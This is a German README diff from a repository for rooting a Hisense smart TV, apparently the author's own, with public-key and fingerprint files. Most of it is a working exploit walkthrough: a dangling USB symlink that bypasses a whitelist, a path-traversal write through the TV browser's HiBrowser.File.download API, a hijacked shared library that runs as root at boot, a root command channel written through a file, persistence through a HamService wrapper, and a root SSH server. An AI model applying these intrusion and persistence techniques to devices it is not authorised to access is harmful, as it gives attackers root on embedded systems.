recon.html # Host: TV-Seite mit fileXHR/listDir/HiBrowser-Hook
|
||||||
|
live_cmd.txt # optionaler Live-Command-Kanal (leer = nichts)
|
||||||
|
pub/
|
||||||
|
libtvsysinfo.so # finaler Payload (33500 B)
|
||||||
|
dropbear # statischer ARM-Dropbear 2022.83 (key-only)
|
||||||
|
dropbear-sftp # Dropbear mit SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server
|
||||||
|
dropbearkey
|
||||||
|
sftp-server # statischer OpenSSH 9.9p1 sftp-server
|
||||||
|
authorized_keys # dein Public Key
|
||||||
|
start_sshd.sh # TV: Dropbear + passwd/PTY-Bindmounts
|
||||||
|
root_loop.sh # TV: Root-Kommandokanal
|
||||||
|
hamservice-wrapper.sh # TV: Boot-Hook, ersetzt /3rd_rw/hamservice/HamService
|
||||||
|
deploy_sshd.sh # TV: installiert alles (als root ausführen)
|
||||||
|
verify.sh # TV: Health-Check
|
||||||
|
rollback.sh # TV: alles zurückbauen
|
||||||
|
scripts/
|
||||||
|
host/
|
||||||
|
prepare_usb.sh # Host: ext4/MBR-Stick + Symlinks
|
||||||
|
start_http.sh # Host: Server auf :9000
|
||||||
|
plant_payload.js # TV-Konsole: Payload durch tvi schreiben
|
||||||
|
upload_to_appdata.js # TV-Konsole: Dropbear/Deploy-Dateien nach appdata
|
||||||
|
run_root_cmd.js # TV-Konsole: root_cmd.sh schreiben/root_out lesen
|
||||||
|
build_payload.sh # Host: Payload aus tvi_original.so bauen
|
||||||
|
build_tvi_payload.py # Host: Builder (deterministisch)
|
||||||
|
build_dropbear.sh # Host: Dropbear aus sources/ bauen
|
||||||
|
build_sftp_server.sh # Host: statischen sftp-server bauen
|
||||||
|
patch_dropbear_sftp.py # Host: Dropbear-SFTP-Pfad patchen
|
||||||
|
install_sftp.sh # Host: SFTP installieren/testen/auf 22 tauschen
|
||||||
|
tv/
|
||||||
|
start_sshd.sh
|
||||||
|
root_loop.sh
|
||||||
|
hamservice-wrapper.sh
|
||||||
|
deploy_sshd.sh
|
||||||
|
verify.sh
|
||||||
|
rollback.sh
|
||||||
|
install_sftp_stage.sh # TV: sftp-server + Test-Dropbear auf 2222
|
||||||
|
enable_sftp.sh # TV: Tausch auf 22 planen
|
||||||
|
swap_sftp.sh # TV: Tausch ausführen (detached)
|
||||||
|
artifacts/
|
||||||
|
tvi_original.so # Original /3rd_rw/tvsysinfo/lib/libtvsysinfo.so (33220 B)
|
||||||
|
keys/authorized_keys # dein Public Key
|
||||||
|
keys/host-key-fingerprint.txt
|
||||||
|
sources/
|
||||||
|
dropbear-2022.83.tar.bz2 # Offline-Buildquelle (SHA unten)
|
||||||
|
openssh-9.9p1.tar.gz # Offline-Buildquelle für sftp-server
|
||||||
|
modding/ # die Modding-Doku (eigene Abteilung)
|
||||||
|
dead-ends.md # kurze Liste der Sackgassen
|
||||||
|
SHA256SUMS
|
||||||
|
```
|
||||||
|
|
||||||
|
**Wichtig:** `root/tools/pub/authorized_keys` enthält **nur** deinen Public Key. Der private Key bleibt auf deinem Rechner und ist nirgends in diesem Ordner.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Voraussetzungen
|
||||||
|
|
||||||
|
- TV im LAN, erreichbar als `192.168.188.94` (IP ggf. anpassen).
|
||||||
|
- Host im selben LAN; Python 3; für den Rebuild: `gcc-arm-linux-gnueabihf`, `binutils-arm-linux-gnueabihf`, `make`, `bzip2`.
|
||||||
|
- Optional SFTP: OpenSSH-Client (`sftp`) auf dem Host; der TV braucht keinen Client.
|
||||||
|
- USB-Stick, **ext4 mit MBR-Partitionstabelle** (kein Superfloppy). Der TV mountet Partitionen.
|
||||||
|
- Der Public Key in `root/tools/pub/authorized_keys` muss zu deinem privaten Key passen. Aktuell:
|
||||||
|
```
|
||||||
|
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root
|
||||||
|
```
|
||||||
|
- Host-Key des TV-SSHD (Ed25519):
|
||||||
|
```
|
||||||
|
SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Der Weg in Kürze
|
||||||
|
|
||||||
|
```
|
||||||
|
1. USB-Stick: sudo root/scripts/host/prepare_usb.sh /dev/sdX
|
||||||
|
2. Server: root/scripts/host/start_http.sh
|
||||||
|
3. TV-Seite: http://<host-ip>:9000/recon.html
|
||||||
|
4. Payload: root/scripts/host/plant_payload.js (USB-Dev anpassen) → Reboot
|
||||||
|
5. Root prüfen: /3rd_rw/root_proof.txt = ROOT_EXEC_TVI
|
||||||
|
6. SSH-Dateien: root/scripts/host/upload_to_appdata.js
|
||||||
|
7. Deploy: root/scripts/host/run_root_cmd.js → deploy_sshd.sh
|
||||||
|
8. Verbinden: ssh root@192.168.188.94
|
||||||
|
9. Persistenz: HamService-Wrapper ist installiert; Reboot-Test
|
||||||
|
10. Rollback: root/scripts/tv/rollback.sh (auf dem TV, als root)
|
||||||
|
11. SFTP opt.: root/scripts/host/install_sftp.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Schritte im Detail:
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Schritt 1 — USB-Stick (ext4 + MBR + `tvi`-Symlink)
|
||||||
|
|
||||||
|
### 5.1 Skript
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /workspace/hisense-he40e5600-root-modding
|
||||||
|
sudo root/scripts/host/prepare_usb.sh /dev/sdX
|
||||||
|
```
|
||||||
|
|
||||||
|
Das Skript ist **destruktiv**: `wipefs`, MBR, `mkfs.ext4 -O ^64bit,^metadata_csum -L TVSYM`, dann:
|
||||||
|
|
||||||
|
```
|
||||||
|
tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so (Pflicht, muss dangling bleiben)
|
||||||
|
pwn -> /3rd_rw/root_proof.txt (optional, Proof-Target)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.2 Manuell (falls du es selbst machen willst)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
lsblk -f
|
||||||
|
sudo wipefs -a /dev/sdX
|
||||||
|
sudo parted -s /dev/sdX mklabel msdos mkpart primary ext4 1MiB 100%
|
||||||
|
sudo mkfs.ext4 -O ^64bit,^metadata_csum -L TVSYM /dev/sdX1
|
||||||
|
sudo mkdir -p /mnt/data
|
||||||
|
sudo mount /dev/sdX1 /mnt/data
|
||||||
|
sudo ln -sfn /3rd_rw/loglevel/lib/libtvsysinfo.so /mnt/data/tvi
|
||||||
|
sudo ln -sfn /3rd_rw/root_proof.txt /mnt/data/pwn
|
||||||
|
sync
|
||||||
|
sudo umount /mnt/data
|
||||||
|
```
|
||||||
|
|
||||||
|
- **`tvi` muss dangling sein** (Ziel existiert noch nicht). Genau das ist der Whitelist-Bypass.
|
||||||
|
- FAT32 kann keine Symlinks; ext4 mit alter Feature-Menge (`^64bit,^metadata_csum`) wird vom 3.18-Kernel gemountet.
|
||||||
|
- Ein Whole-Disk-ext4 (Superfloppy, kein `sdX1`) wird **nicht** gemountet.
|
||||||
|
|
||||||
|
Dann Stick in den TV. Der TV mountet ihn als `/dev/shm/shm_tmp/mnt/usb/<dev>` (für JS sichtbar als `/mnt/usb/<dev>`, z. B. `sda1`/`sdb1`/`sdc1`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Schritt 2 — Host-Server + Recon-Seite
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /workspace/hisense-he40e5600-root-modding
|
||||||
|
root/scripts/host/start_http.sh
|
||||||
|
# TV URL: http://<host-ip>:9000/recon.html
|
||||||
|
```
|
||||||
|
|
||||||
|
Der Server liefert `recon.html`, `/cmd`, `/recon`, `/dump` und `/pub/*`. Die TV-Seite pollt `/cmd` und führt JS im **root-Browser** aus.
|
||||||
|
|
||||||
|
Auf dem TV im Browser öffnen:
|
||||||
|
|
||||||
|
```
|
||||||
|
http://<host-ip>:9000/recon.html
|
||||||
|
```
|
||||||
|
|
||||||
|
USB-Dev ermitteln (Konsole/Hook):
|
||||||
|
|
||||||
|
```js
|
||||||
|
listDir("/mnt/usb") // z. B. "[D] sda1"
|
||||||
|
listDir("/mnt/usb/sda1") // muss "tvi" zeigen
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Schritt 3 — Payload schreiben
|
||||||
|
|
||||||
|
### 7.1 Skript (TV-Konsole)
|
||||||
|
|
||||||
|
`root/scripts/host/plant_payload.js` in die Konsole pasten; **`usb` anpassen**:
|
||||||
|
|
||||||
|
```js
|
||||||
|
var usb = "/mnt/usb/sda1"; // <-- aus listDir("/mnt/usb")
|
||||||
|
var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi";
|
||||||
|
var url = location.origin + "/pub/libtvsysinfo.so";
|
||||||
|
var o = {};
|
||||||
|
o.download = HiBrowser.File.download(url, target, 1);
|
||||||
|
o.back = HiBrowser.File.download("file:///3rd_rw/loglevel/lib/libtvsysinfo.so",
|
||||||
|
"tvi_check_plant.so", 1);
|
||||||
|
o
|
||||||
|
```
|
||||||
|
|
||||||
|
Erwartung: `download=0`, `back=0`; danach existiert
|
||||||
|
|
||||||
|
```
|
||||||
|
/3rd_rw/loglevel/lib/libtvsysinfo.so 33500 B
|
||||||
|
SHA-256 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a
|
||||||
|
```
|
||||||
|
|
||||||
|
### 7.2 Manuell (ohne JS-Datei)
|
||||||
|
|
||||||
|
```js
|
||||||
|
HiBrowser.File.download(
|
||||||
|
"http://<host-ip>:9000/pub/libtvsysinfo.so",
|
||||||
|
"so/../../../../dev/shm/shm_tmp/mnt/usb/sda1/tvi",
|
||||||
|
1
|
||||||
|
);
|
||||||
|
```
|
||||||
|
|
||||||
|
### 7.3 Verifizieren
|
||||||
|
|
||||||
|
- `back=0` und die 33.500 B / SHA oben.
|
||||||
|
- Optional die zurückgelesene Datei `tvi_check_plant.so` mit `pub/libtvsysinfo.so` vergleichen.
|
||||||
|
- **Nicht rebooten**, bevor die Bytes stimmen.
|
||||||
|
|
||||||
|
### 7.4 Reboot
|
||||||
|
|
||||||
|
TV komplett aus- und wieder einschalten. Beim Boot lädt `hisense_browser` die Shadow-Lib aus Index 17; der `DT_INIT` läuft als root.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Schritt 4 — Root prüfen / Kommandokanal
|
||||||
|
|
||||||
|
Nach dem Boot Recon-Seite erneut öffnen.
|
||||||
|
|
||||||
|
```js
|
||||||
|
fileXHR("file:///3rd_rw/root_proof.txt") // ROOT_EXEC_TVI
|
||||||
|
fileXHR("file:///3rd_rw/appdata/root_loop.pid") // z. B. 1425
|
||||||
|
listDir("/3rd_rw/loglevel/lib") // nur liblogLevel.so => Self-Unlink ok
|
||||||
|
```
|
||||||
|
|
||||||
|
Root-Befehl über den Loop:
|
||||||
|
|
||||||
|
```js
|
||||||
|
HiBrowser.File.write("root_cmd.sh",
|
||||||
|
"id\n" +
|
||||||
|
"cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'\n", 1);
|
||||||
|
|
||||||
|
// nach ca. 2 s:
|
||||||
|
fileXHR("file:///3rd_rw/appdata/root_out.txt")
|
||||||
|
```
|
||||||
|
|
||||||
|
Erwartung:
|
||||||
|
|
||||||
|
```
|
||||||
|
uid=0(root) gid=0(root)
|
||||||
|
Uid: 0 0 0 0
|
||||||
|
Gid: 0 0 0 0
|
||||||
|
CapEff: 0000003fffffffff
|
||||||
|
```
|
||||||
|
|
||||||
|
Fertiges Snippet: `root/scripts/host/run_root_cmd.js` (CMD anpassen).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Schritt 5 — Dropbear/SSH installieren
|
||||||
|
|
||||||
|
### 9.1 Dateien nach `/3rd_rw/appdata` laden
|
||||||
|
|
||||||
|
`root/scripts/host/upload_to_appdata.js` in die TV-Konsole pasten. Es lädt aus `root/tools/pub/`:
|
||||||
|
|
||||||
|
```
|
||||||
|
dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh
|
||||||
|
hamservice-wrapper.sh deploy_sshd.sh verify.sh rollback.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
nach `/3rd_rw/appdata`. Erwartung: alle Werte `0`.
|
||||||
|
|
||||||
|
### 9.2 Deploy als root (über die Root-Loop)
|
||||||
|
|
||||||
|
`root/scripts/host/run_root_cmd.js` mit
|
||||||
|
|
||||||
|
```
|
||||||
|
/bin/sh /3rd_rw/appdata/deploy_sshd.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
ausführen (oder in der Konsole):
|
||||||
|
|
||||||
|
```js
|
||||||
|
HiBrowser.File.write("root_cmd.sh", "/bin/sh /3rd_rw/appdata/deploy_sshd.sh\n", 1);
|
||||||
|
// nach ca. 5 s:
|
||||||
|
fileXHR("file:///3rd_rw/appdata/root_out.txt")
|
||||||
|
```
|
||||||
|
|
||||||
|
`deploy_sshd.sh` macht:
|
||||||
|
|
||||||
|
- `dropbear`/`dropbearkey` → `/3rd_rw/sshd/`
|
||||||
|
- Host-Key (`dropbearkey -t ed25519 -f /3rd_rw/sshd/host_key`)
|
||||||
|
- `/etc/passwd`-Kopie mit `root:/3rd_rw/sshd/home:/bin/sh`, **bind mount** über `/etc/passwd`
|
||||||
|
- devpts auf `/dev/shm/pts`, **bind mount** über `/dev/pts` (PTY; `/dev` ist statisch ro)
|
||||||
|
- `authorized_keys` aus dem Public Key
|
||||||
|
- `start_sshd.sh` + `root_loop.sh` + `hamservice-wrapper.sh`
|
||||||
|
- Start von Dropbear auf `0.0.0.0:22`, key-only
|
||||||
|
- Health-Ausgabe (Prozesse, Port, Log, Host-Key, Mounts)
|
||||||
|
|
||||||
|
### 9.3 Verbinden
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ssh root@192.168.188.94
|
||||||
|
# oder, wenn dein Key nicht der Default ist:
|
||||||
|
ssh -i ~/.ssh/<dein_privater_key> root@192.168.188.94
|
||||||
|
```
|
||||||
|
|
||||||
|
Beim ersten Verbinden Host-Key bestätigen:
|
||||||
|
|
||||||
|
```
|
||||||
|
ED25519 key fingerprint is SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts
|
||||||
|
```
|
||||||
|
|
||||||
|
Erwartung: `root@...:~#`, `id` → `uid=0(root)`.
|
||||||
|
|
||||||
|
**Key-only:** `DROPBEAR_SVR_PASSWORD_AUTH=0` beim Build; es gibt keinen Passwort-Login. Dein Public Key ist der einzige Zugang.
|
||||||
|
|
||||||
|
**PTY:** devpts-Workaround ist im `start_sshd.sh`/`deploy_sshd.sh`. Falls doch `PTY allocation failed`:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
mkdir -p /dev/shm/pts
|
||||||
|
mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts
|
||||||
|
mount --bind /dev/shm/pts /dev/pts
|
||||||
|
```
|
||||||
|
|
||||||
|
Danach erneut verbinden; Dropbear muss nicht neu starten. Fallback ohne PTY:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ssh -T root@192.168.188.94 'id; uname -a'
|
||||||
|
```
|
||||||
|
|
||||||
|
### 9.4 SFTP (optional, key-only)
|
||||||
|
|
||||||
|
Dropbear hat **keinen eigenen sftp-server**; der Server exec't den
|
||||||
|
compile-time `SFTPSERVER_PATH` (Default `/usr/libexec/sftp-server`). Der ro
|
||||||
|
Rootfs erlaubt dort keine Datei. Deshalb liegen im Ordner:
|
||||||
|
|
||||||
|
- `tools/pub/sftp-server` — statischer OpenSSH-9.9p1-sftp-server (ARM)
|
||||||
|
- `tools/pub/dropbear-sftp` — Dropbear mit
|
||||||
|
`SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`
|
||||||
|
|
||||||
|
Installation vom Host (nutzt deinen SSH-Key; ein `sftp`-Client wird nur für den Test benötigt):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /workspace/hisense-he40e5600-root-modding
|
||||||
|
root/scripts/host/install_sftp.sh
|
||||||
|
# optional: TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 ...
|
||||||
|
```
|
||||||
|
|
||||||
|
Ablauf: lädt beide Binaries nach `/3rd_rw/appdata`; startet einen
|
||||||
|
**Test-Dropbear auf Port 2222** (Port 22 bleibt unangetastet); testet
|
||||||
|
`sftp -P 2222`; nur bei Erfolg wird der Binary auf 22 getauscht
|
||||||
|
(Backup: `/3rd_rw/sshd/dropbear.nosftp`). Danach:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sftp root@192.168.188.94
|
||||||
|
# pwd, ls, put, get ...
|
||||||
|
```
|
||||||
|
|
||||||
|
**Rollback:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ssh root@192.168.188.94 \
|
||||||
|
'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; \
|
||||||
|
kill $(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; \
|
||||||
|
/bin/sh /3rd_rw/sshd/start_sshd.sh'
|
||||||
|
```
|
||||||
|
|
||||||
|
**SFTP ist root-equivalent** (Login als root), key-only, nur LAN. Es ist
|
||||||
|
derselbe Zugang wie SSH; keine zusätzlichen Credentials.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Schritt 6 — Persistenz (Boot)
|
||||||
|
|
||||||
|
`deploy_sshd.sh` installiert bereits `/3rd_rw/hamservice/HamService`:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
#!/bin/sh
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
/bin/sh /3rd_rw/appdata/root_loop.sh >/dev/null 2>&1 &
|
||||||
|
[ -x /3rd_rw/sshd/start_sshd.sh ] && /bin/sh /3rd_rw/sshd/start_sshd.sh >/dev/null 2>&1 &
|
||||||
|
exec /3rd/hamservice/HamService "$@"
|
||||||
|
```
|
||||||
|
|
||||||
|
Boot-Ablauf:
|
||||||
|
|
||||||
|
1. `startHam.sh` wechselt nach `/3rd_rw/hamservice`.
|
||||||
|
2. `[ -e HamService ] && [ -x HamService ]` → `./HamService &`.
|
||||||
|
3. Wrapper startet Root-Loop + Dropbear (Bind-Mounts/PTY), `exec`t dann das echte `/3rd/hamservice/HamService`.
|
||||||
|
4. Root-Loop und Dropbear laufen als root weiter.
|
||||||
|
|
||||||
|
**Reboot-Test:** TV neu starten; danach:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ssh root@192.168.188.94 'id; ps | grep -E "dropbear|root_loop"'
|
||||||
|
```
|
||||||
|
|
||||||
|
Oder auf dem TV: `/bin/sh /3rd_rw/appdata/verify.sh`.
|
||||||
|
|
||||||
|
**Alternative für frühe Mods:** `/3rd_rw/developer.sh` (wird von `/basic/autorun.sh` Zeile 90 als root ausgeführt, **vor** `ms_service`/`hisenseUI`/`app_man`/`delayrun`). Siehe `modding/02-boot.md` und `modding/04-modding.md`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Schritt 7 — Rollback
|
||||||
|
|
||||||
|
### 11.1 Skript (TV, als root)
|
||||||
|
|
||||||
|
```sh
|
||||||
|
/bin/sh /3rd_rw/appdata/rollback.sh
|
||||||
|
# oder aus diesem Ordner hochladen und ausführen
|
||||||
|
```
|
||||||
|
|
||||||
|
Es stoppt Loop/Dropbear, stellt den HamService-Symlink wieder her, unmountet `/etc/passwd`/`/dev/pts`/`/dev/shm/pts`, entfernt `/3rd_rw/sshd`, die Shadow-Lib und die alten ms-/appdata-Payloads. Danach Reboot.
|
||||||
|
|
||||||
|
### 11.2 Manuell
|
||||||
|
|
||||||
|
```sh
|
||||||
|
kill "$(cat /3rd_rw/appdata/root_loop.pid)" 2>/dev/null
|
||||||
|
kill "$(cat /3rd_rw/sshd/dropbear.pid)" 2>/dev/null
|
||||||
|
rm -f /3rd_rw/hamservice/HamService
|
||||||
|
ln -s /3rd/hamservice/HamService /3rd_rw/hamservice/HamService
|
||||||
|
umount /etc/passwd 2>/dev/null
|
||||||
|
umount /dev/pts 2>/dev/null
|
||||||
|
umount /dev/shm/pts 2>/dev/null
|
||||||
|
rm -rf /3rd_rw/sshd
|
||||||
|
rm -f /3rd_rw/loglevel/lib/libtvsysinfo.so
|
||||||
|
sync
|
||||||
|
reboot
|
||||||
|
```
|
||||||
|
|
||||||
|
Der ro Rootfs ist unverändert; die Original-`libtvsysinfo.so` bleibt unter `/3rd_rw/tvsysinfo/lib`. Kein Flash, kein `.pkg`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. Troubleshooting
|
||||||
|
|
||||||
|
| Problem | Ursache / Lösung |
|
||||||
|
|---|---|
|
||||||
|
| `PTY allocation request failed` / `openpty: No space left on device` | `/dev/pts` ist nicht devpts. `mkdir -p /dev/shm/pts; mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts; mount --bind /dev/shm/pts /dev/pts`. Erneut verbinden. |
|
||||||
|
| `Permission denied (publickey)` | `grep '^root:' /etc/passwd` muss `/3rd_rw/sshd/home:/bin/sh` zeigen (Bind-Mount). `authorized_keys` 600, `.ssh` 700, Home 700. `cat /3rd_rw/sshd/dropbear.log`. |
|
||||||
|
| `Connection refused` | Dropbear läuft nicht: `ps | grep dropbear`, `cat /3rd_rw/sshd/dropbear.log`, `/bin/sh /3rd_rw/sshd/start_sshd.sh`. Port 22: `/proc/net/tcp` (`:0016`). |
|
||||||
|
| Host-Key-Warnung | `ssh-keygen -R 192.168.188.94`; Fingerprint `SHA256:7tFL…` bestätigen. |
|
||||||
|
| Recon-Seite weg | TV-Browser neu öffnen: `http://<host-ip>:9000/recon.html`. SSH/Root-Loop laufen unabhängig. |
|
||||||
|
| Nach Reboot kein SSH | `/3rd_rw/hamservice/HamService` (Wrapper, 755), `/3rd_rw/sshd/start_sshd.sh`, `dropbear.log`, `mount.log` prüfen. `startHam.sh` startet den Wrapper. |
|
||||||
|
| Root-User nicht gefunden | `/etc/passwd`-Bind fehlt: `mount --bind /3rd_rw/sshd/etc_passwd /etc/passwd`; `grep '^root:' /etc/passwd`. |
|
||||||
|
| Kein Root nach Payload | Datei 33.500 B/SHA prüfen; `/3rd_rw/loglevel/lib/libtvsysinfo.so` vorhanden; Browser neu starten; Index 17. |
|
||||||
|
| `dropbear: Invalid option -s` | Dieser Build hat kein `-s`; Passwort-Auth ist **compile-time** aus. `-s` aus dem Startskript entfernen (hier bereits nicht enthalten). |
|
||||||
|
| `sh: /usr/libexec/sftp-server: No such file` | Der Dropbear ist noch der ungepatchte. `root/scripts/host/install_sftp.sh` ausführen; prüfen: `grep -a 'sftp-server' /3rd_rw/sshd/dropbear` → `/3rd_rw/sshd/sftp-server`. |
|
||||||
|
| SFTP auf 2222 scheitert | `/3rd_rw/sshd/dropbear2222.log` prüfen; Port 22 wurde nicht angefasst. |
|
||||||
|
| SFTP auf 22 scheitert | `/3rd_rw/sshd/swap.log`, `/3rd_rw/sshd/dropbear.log`; Rollback-Befehl in 9.4. |
|
||||||
|
|
||||||
|
Dead Ends und verworfene Wege: `../dead-ends.md` (kurz).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 13. Artefakte und Hashes
|
||||||
|
|
||||||
|
| Artefakt | Pfad | Größe / SHA-256 |
|
||||||
|
|---|---|---|
|
||||||
|
| Original `libtvsysinfo.so` | `artifacts/tvi_original.so` | 33.220 B / `36ddee4782cdcff7a0f1d94e8b3491ea6fe228d13bfef3ea137a98f142ff3b7c` |
|
||||||
|
| Root-Payload | `tools/pub/libtvsysinfo.so` | 33.500 B / `37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a` |
|
||||||
|
| Dropbear | `tools/pub/dropbear` | 882.204 B / `976ec57e401765d5fc9c0a201d19c997c004dcf91a8d4bdb039bbb8419071eae` |
|
||||||
|
| Dropbearkey | `tools/pub/dropbearkey` | 755.452 B / `3fbfa60891b3a9f3e971a24071ed4d14c93ee3e773dd6f4969646cc811b0dbbf` |
|
||||||
|
| Dropbear-Quelle | `sources/dropbear-2022.83.tar.bz2` | `bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b` |
|
||||||
|
| SFTP-Server | `tools/pub/sftp-server` | 635.680 B / `d0f7700e84e582aef3948c29e4317fb0119e13393374a7455922ffa8d01202f3` |
|
||||||
|
| Dropbear (SFTP) | `tools/pub/dropbear-sftp` | 882.204 B / `a21b0d3e53dd1d124105350319df45a2b44e7cef70dd29b418644b11fdcfed57` |
|
||||||
|
| OpenSSH-Quelle | `sources/openssh-9.9p1.tar.gz` | `b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02` |
|
||||||
|
| Host-Key (SSH) | TV: `/3rd_rw/sshd/host_key` | Ed25519 / `SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts` |
|
||||||
|
| Dein Auth-Key | `tools/pub/authorized_keys` | Fingerprint `SHA256:RzgGjRHkR756azwKjS6mTClWOZFa/nyLMdi7TqgrHoY` |
|
||||||
|
| Root-Proof | TV: `/3rd_rw/root_proof.txt` | `ROOT_EXEC_TVI\n` |
|
||||||
|
| Root-Loop | TV: `/3rd_rw/appdata/root_loop.sh` | PID: `/3rd_rw/appdata/root_loop.pid` |
|
||||||
|
|
||||||
|
`SHA256SUMS` im Top-Level: `cd /workspace/hisense-he40e5600-root-modding && sha256sum -c SHA256SUMS`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 14. Sicherheit / Grenzen
|
||||||
|
|
||||||
|
- **SSH ist key-only, root, im LAN.** Kein Passwort-Login; der private Key ist der einzige Zugang. Nicht ins Internet exponieren.
|
||||||
|
- **SFTP ist optional und root-equivalent.** Key-only wie SSH; der sftp-server läuft als root. Installation testet zuerst Port 2222; Backup `/3rd_rw/sshd/dropbear.nosftp`; Rollback in 9.4.
|
||||||
|
- **Der Root-Loop ist root-equivalent.** Wer `/3rd_rw/appdata/root_cmd.sh` schreiben kann (der Browser läuft als root), kann Root-Befehle ausführen. Gewollt, aber entsprechend behandeln.
|
||||||
|
- **Kein Flash, kein `.pkg`, kein Bootloader.** Rootfs und `/3rd` sind squashfs-ro; Änderungen liegen in `/3rd_rw` (rw), `/data` (rw), `/perm` (rw) und in Bind-Mounts.
|
||||||
|
- **`/etc/passwd`-Bind** ändert nur die Laufzeit-Sicht (Root-Home/Shell); die ro Originaldatei bleibt unverändert. Ein Reboot ohne Startskript stellt den Originalzustand her.
|
||||||
|
- **Persistenz** kommt vom `HamService`-Wrapper (und ggf. `developer.sh`). Der `libtvsysinfo`-Shadow löscht sich selbst.
|
||||||
|
- **Firmware-Updates** können Pfade/Verhalten ändern; danach Loader-Reihenfolge, HamService-Hook und `/3rd_rw` prüfen.
|
||||||
|
- **Keine Secrets im Ordner:** kein Root-Hash, kein privater SSH-Key. Nur Public Key + Host-Fingerprint.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 15. Verifikationsstatus
|
||||||
|
|
||||||
|
| Punkt | Status |
|
||||||
|
|---|---|
|
||||||
|
| Browser root (UID 0, CapEff full) | **CONFIRMED live** |
|
||||||
|
| USB-ext4-Symlink-Bypass | **CONFIRMED live** (`/3rd_rw/root_proof.txt`) |
|
||||||
|
| `libtvsysinfo`-Shadow / DT_INIT | **CONFIRMED live** (`ROOT_EXEC_TVI`, Self-Unlink) |
|
||||||
|
| Root-Loop / Kommandokanal | **CONFIRMED live** (`uid=0`, `root_out.txt`) |
|
||||||
|
| Dropbear-SSH, Port 22 | **CONFIRMED live** (`00000000:0016`) |
|
||||||
|
| SSH-Pubkey-Auth als root | **CONFIRMED live** (`Pubkey auth succeeded for 'root'`) |
|
||||||
|
| PTY / interaktive Shell | **CONFIRMED live** (Session pts/0; `busybox script` → `uid=0(root)`) |
|
||||||
|
| SFTP (optional) | static sftp-server + patched Dropbear; Installer testet 2222 vor 22; **TV-Test nach Install** |
|
||||||
|
| Boot-Persistenz (HamService-Wrapper) | eingerichtet; Reboot-Test in dieser Doku beschrieben |
|
||||||
|
| Payload-Build reproduzierbar | **CONFIRMED** (`build_tvi_payload.py` → exakt `37b13f…`) |
|
||||||
|
|
||||||
|
**Scripts:** `tools/pub/*` ist der ausgelieferte Stand; `scripts/tv/*` die Quelle. `deploy_sshd.sh` entspricht dem manuell live ausgeführten Setup. `prepare_usb.sh`/`start_http.sh`/`plant_payload.js`/`upload_to_appdata.js`/`run_root_cmd.js` sind die Host-/TV-Helfer. `build_dropbear.sh` baut die in `tools/pub` liegenden Binaries reproduzierbar aus `sources/`; `build_sftp_server.sh` baut den statischen sftp-server; `install_sftp.sh` installiert/testet SFTP.
|
||||||
|
|
||||||
|
Viel Erfolg. Und: erst backupen, dann modden. :)
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B vidaa-root
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts
|
||||||
Binary file not shown.
Executable
+50
@@ -0,0 +1,50 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Rebuilds the static ARM Dropbear 2022.83 (key-only) from the included source.
|
||||||
|
